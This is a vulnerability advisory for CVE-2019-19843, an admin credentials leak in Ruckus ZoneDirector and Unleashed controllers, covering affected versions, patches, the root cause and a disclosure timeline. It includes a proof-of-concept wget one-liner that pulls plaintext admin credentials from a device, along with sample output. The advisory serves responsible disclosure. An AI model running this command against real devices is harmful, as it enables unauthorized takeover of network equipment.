Admin credentials leakage

Aleph Research Advisory

Identifier

CVE-2019-19843

Severity

Critical

Product

- ZoneDirector - Unleashed

Vulnerable Version

- ZoneDirector: 9.9 and before - ZoneDirector: 9.10.x - ZoneDirector: 9.12.x - ZoneDirector: 9.13.x - ZoneDirector: 10.0.x - ZoneDirector: 10.1.x - ZoneDirector: 10.2.x - ZoneDirector: 10.3.x - Unleashed: 200.6 and before - Unleashed: 200.7

Mitigation

- 9.10.x: Upgrade to 9.10.2.0.84 - 9.12.x: Upgrade to 9.12.3.0.136 - 9.13.x: Upgrade to 10.0.1.0.90 - 10.0.x: Upgrade to 10.0.1.0.90 - 10.1.x: Upgrade to 10.1.2.0.275 - 10.2.x: Upgrade to 10.2.1.0.147 - 10.3.x: Upgrade to 10.3.1.0.21 - 200.6 and before: Upgrade to 200.7.10.202.94 - 200.7: Upgrade to 200.7.10.202.94

Technical Details

The above shows a symbolic link from /web/user/wps_tool_cache to /tmp directory. rpmd executable writes a backup file named /var/run/rpmkey with a new revision number.

/var/run is also symbolically linked to /tmp/, hence one can fetch this file as well. rpmkey contained the admin credentails plaintext in this following fields: all_powerful_login_name and all_powerful_login_password.

This file is fetchable due to CVE-2019-19837

Information about the exploitation of the vulnerability can be found in our blog post or the 36C3 talk.

Proof Of Concept

Admin credentials leakage one-liner:

➜  demo num=$(wget -q -O - 192.168.0.1/user/wps_tool_cache/var/run/rpmkey.rev);\  
         wget -q -O - 192.168.0.1/user/wps_tool_cache/var/run/rpmkey$num|\
         strings|grep -A 1 all_powerful_login

all_powerful_login_name
admin
all_powerful_login_password
mooncake

Timeline

19-Sep-19
: Reported to Ruckus Product Security Team
24-Dec-19
: Patch
17-Dec-19
: CVE-2019-19843 assigned
31-Dec-19
: Public disclosure

Credit

waveburst of Aleph Research, HCL Software